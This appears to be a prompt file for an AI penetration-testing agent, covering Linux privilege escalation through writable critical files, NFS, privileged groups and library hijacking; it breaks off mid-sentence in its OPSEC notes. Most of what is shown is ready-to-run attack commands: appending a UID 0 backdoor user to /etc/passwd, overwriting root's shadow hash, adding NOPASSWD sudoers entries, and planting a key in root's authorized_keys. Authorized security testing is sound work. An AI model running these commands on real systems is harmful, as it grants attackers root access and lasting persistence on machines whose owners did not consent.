/linux-file-path-abuse

name: linux-file-path-abuse
description: >
  Exploit writable critical files, NFS misconfigurations, shared library
  hijacking, and privileged group membership (docker, lxd, disk, adm, video,
  staff) for Linux privilege escalation. Use when a user belongs to a
  privileged group or has write access to sensitive files or paths.
keywords:
  - writable passwd
  - nfs privesc
  - no_root_squash
  - library hijacking
  - ld.so.conf
  - rpath abuse
  - docker group escape
  - docker group privilege escalation
  - lxd group privesc
  - lxd group privilege escalation
  - lxc group
  - disk group debugfs
  - privileged group membership
  - path hijack
  - symlink attack
  - profile injection
  - writable shadow
  - ldconfig
tools:
  - gcc
  - readelf
  - ldd
  - strace
  - docker
  - lxc
  - debugfs
  - showmount
  - ldconfig
opsec: medium

Linux File, Path, and Group-Based Privilege Escalation

You are helping a penetration tester exploit writable files, filesystem misconfigurations, shared library loading, and privileged group membership for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[linux-file-path-abuse] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on Linux target
• At least one of: writable critical file, NFS mount, missing shared library, privileged

group membership, writable PATH directory, or writable profile script

• gcc (for shared library payloads and NFS SUID binaries — can cross-compile on attacker)

Step 1: Assess Available Vectors

Determine which file/path/group vectors are available. If coming from **linux-discovery**, the routing should specify the vector. Otherwise, enumerate:

# Writable critical files
ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/null
ls -la /etc/sudoers.d/ 2>/dev/null
test -w /etc/passwd && echo "WRITABLE: /etc/passwd"
test -w /etc/shadow && echo "WRITABLE: /etc/shadow"
test -w /etc/sudoers && echo "WRITABLE: /etc/sudoers"

# NFS exports
cat /etc/exports 2>/dev/null
showmount -e localhost 2>/dev/null
mount | grep nfs

# Group membership
id
groups

# Writable PATH directories
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE PATH: $d"; done

# Library loading
cat /etc/ld.so.conf 2>/dev/null
ls -la /etc/ld.so.conf.d/ 2>/dev/null

# Profile scripts
ls -la ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null
ls -la /etc/profile /etc/profile.d/ 2>/dev/null
ls -la /root/.bashrc /root/.profile 2>/dev/null

**Decision tree** — go to the first matching step:

| Finding | Go to | |---------|-------| | Writable /etc/passwd | Step 2 | | Writable /etc/shadow | Step 2 | | Writable /etc/sudoers or /etc/sudoers.d/ | Step 2 | | NFS no_root_squash | Step 3 | | docker group | Step 4 | | lxd/lxc group | Step 5 | | disk group | Step 6 | | Missing .so on SUID binary | Step 7 | | Writable ld.so.conf or ld.so.conf.d/ | Step 7 | | RPATH/RUNPATH with writable dir | Step 7 | | Writable PATH directory + root script using relative binary | Step 8 | | Writable profile scripts (.bashrc, /etc/profile.d/) | Step 9 | | Writable SSH authorized_keys for root | Step 2 |

Step 2: Writable Critical Files

/etc/passwd — Add UID 0 User

# Check current format
head -3 /etc/passwd

# Generate password hash (pick one)
openssl passwd -1 "password123"          # MD5 ($1$)
openssl passwd -6 "password123"          # SHA-512 ($6$) — preferred
# Or passwordless — just set 'x' and rely on su without auth (some systems)

# Add backdoor root user
echo 'backdoor:$6$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Switch to new user
su backdoor
# Enter: password123

# Verify
id

**Alternative — modify existing user to UID 0:**

# Change your user's UID to 0 (destructive — breaks your normal account)
sed -i 's/^youruser:x:1000:1000:/youruser:x:0:0:/' /etc/passwd
su youruser

/etc/shadow — Replace Root Hash

# Generate new hash
openssl passwd -6 "newrootpass"

# Replace root's hash (backup first)
# Format: root:$6$salt$hash:days_since_epoch:min:max:warn:inactive:expire:
sed -i "s|^root:[^:]*:|root:\$6\$salt\$HASH_HERE:|" /etc/shadow

su root
# Enter: newrootpass

/etc/sudoers — Grant NOPASSWD

# IMPORTANT: invalid sudoers breaks sudo for everyone — validate syntax
# Add NOPASSWD entry
echo "youruser ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# Validate (if visudo available)
visudo -c

# Use it
sudo su

**Writable /etc/sudoers.d/ directory:**

echo "youruser ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/privesc
chmod 440 /etc/sudoers.d/privesc
sudo su

SSH Authorized Keys

# Generate keypair on attacker (if needed)
ssh-keygen -t ed25519 -f /tmp/privesc_key -N ""

# Write to root's authorized_keys
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA...key... privesc" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys

# Connect
ssh -i /tmp/privesc_key root@localhost

**OPSEC notes:**

• `/etc/passwd` changes visible to all users immediately
• Invalid